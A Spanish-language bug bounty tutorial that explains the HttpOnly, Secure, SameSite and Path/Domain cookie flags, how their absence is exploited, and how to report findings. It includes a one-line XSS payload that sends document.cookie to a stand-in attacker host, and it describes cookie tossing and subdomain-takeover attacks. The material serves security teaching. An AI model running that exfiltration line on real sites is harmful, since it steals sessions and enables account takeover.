Nivel BásicoGratis

Cookie flags — Secure, HttpOnly, SameSite y por qué importan

HttpOnly bloquea XSS-to-cookie, Secure obliga HTTPS, SameSite mata CSRF. Cómo se rompen y qué reportar cuando faltan en cookies sensibles.

Gorka El Bochi9 de mayo de 20268 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

Las flags de cookie controlan dónde y cómo se envía la cookie. Las cuatro críticas: HttpOnly bloquea acceso desde JavaScript (mitiga robo via XSS), Secure exige HTTPS (mitiga sniffing en redes públicas), SameSite controla cross-site (mitiga CSRF), Path/Domain acotan el scope. Cuando una cookie de sesión carece de cualquiera de las tres primeras, hay reporte si se demuestra el impacto.


Las cuatro flags y qué protege cada una

HttpOnly

http
Set-Cookie: sessionid=abc123; HttpOnly

La cookie no es accesible desde document.cookie. Si la app tiene un XSS, el atacante no puede leer la cookie y robarla — solo puede actuar dentro del contexto del usuario en esa pestaña (más limitado).

Sin HttpOnly + XSS: ATO directo via fetch('//attacker.tld?c=' + document.cookie).

Secure

http
Set-Cookie: sessionid=abc123; Secure

La cookie solo viaja en HTTPS. En HTTP, el browser no la envía.

Sin Secure: un MitM en red WiFi pública (cafetería, aeropuerto) puede leer la cookie de sesión. También cualquier downgrade a HTTP la expone.

SameSite

http
Set-Cookie: sessionid=abc123; SameSite=Strict
Set-Cookie: sessionid=abc123; SameSite=Lax       # default actual
Set-Cookie: sessionid=abc123; SameSite=None; Secure
ValorCuándo se envía
StrictSolo same-site (mismo registrable domain)
LaxSame-site + navegación top-level GET (default)
NoneSiempre (requiere Secure)

Sin SameSite o con None: CSRF clásico funciona. Con Lax, CSRF en POST está bloqueado pero GET sigue cruzando — si una acción crítica acepta GET, sigue siendo explotable.

Path y Domain

http
Set-Cookie: admin=1; Path=/admin; Domain=app.tld

Acotan dónde se envía la cookie. Si configuras Domain=.tld (parent domain), la cookie cruza a todos los subdominios — peligroso si hay subdominios de baja confianza.


Cómo se reporta cada caso

"Falta HttpOnly" (low severity solo)

Sin demostrar XSS, es un finding de baja severidad o N/A. Se acepta más cuando:

  • Demuestras XSS y muestras que sin HttpOnly el robo es trivial.
  • La cookie es de sesión / auth, no telemetría.

"Falta Secure" (low / chained)

Más relevante si:

  • La app sirve por HTTP en algún subdominio o legacy URL.
  • El header Strict-Transport-Security está mal configurado o ausente.

"Falta SameSite" (medium / chained con CSRF)

Aquí sí hay impacto real. Reporta SIEMPRE con:

  • PoC de CSRF funcional sobre un endpoint que cambia estado.
  • Flujo completo: víctima → página atacante → request cross-site con cookie → cambio en la cuenta.

Sin PoC funcional, es solo "best practice missing" y se cierra como Informational.


Bypasses comunes en validación de cookies

Si la cookie principal está en app.tld con Domain=app.tld y un atacante consigue setear una cookie con el mismo nombre desde evil.app.tld (subdominio comprometido), el browser puede enviar dos cookies con el mismo nombre y la app puede usar la equivocada.

__Host- y __Secure- prefix

Las cookies con prefix __Host- deben tener Secure, Path=/, sin Domain. Las __Secure- solo Secure. Si la app usa estos prefixes, hay protección extra contra cookie collision.

IDN / Unicode tricks

Subdominios con caracteres Unicode similares pueden setear cookies que el browser interpreta como del dominio padre en algunos navegadores (vector raro pero existe).


Auditoría rápida de cookies

bash
# Inspeccionar cookies de un dominio
curl -sI https://target.tld/login | grep -i 'set-cookie'

# En Burp: pestaña Proxy > HTTP history > filtrar por Set-Cookie
# En DevTools: Application > Cookies > revisar cada flag

Para una cookie de sesión, deberías ver:

ini
sessionid=...; HttpOnly; Secure; SameSite=Strict; Path=/

Si falta cualquiera de las tres flags principales en una cookie de auth o sesión, hay potencial reporte. El triage exigirá PoC de impacto real (XSS chain, MitM scenario, CSRF working).


ini
Cookie: session=abc; Domain=.example.tld

Si cualquier subdominio (legacy.example.tld, static.example.tld) tiene un XSS o subdomain takeover, la cookie de sesión del dominio principal viaja a ese subdominio. Vector clásico de ATO via subdomain takeover en programas con mucho subdominio legacy.


Checklist

  • ¿Las cookies de sesión tienen HttpOnly, Secure y SameSite?
  • ¿Hay XSS o subdomain takeover que combinado con la cookie ausente lleve a ATO?
  • ¿SameSite está en Lax y existe algún endpoint crítico que acepta GET?
  • ¿Las cookies usan Domain=.tld (parent)? Si sí, ¿qué subdominios existen y son seguros?
  • ¿Hay cookies con prefix __Host- o __Secure-? (señal de buena práctica).
  • ¿Se invalidan las cookies en logout/server-side, o solo se borran del cliente?

Labs relacionados

Practica CSRF aprovechando SameSite mal configurado y combinaciones cookie + XSS: labs de cookies y session.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Csrf

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.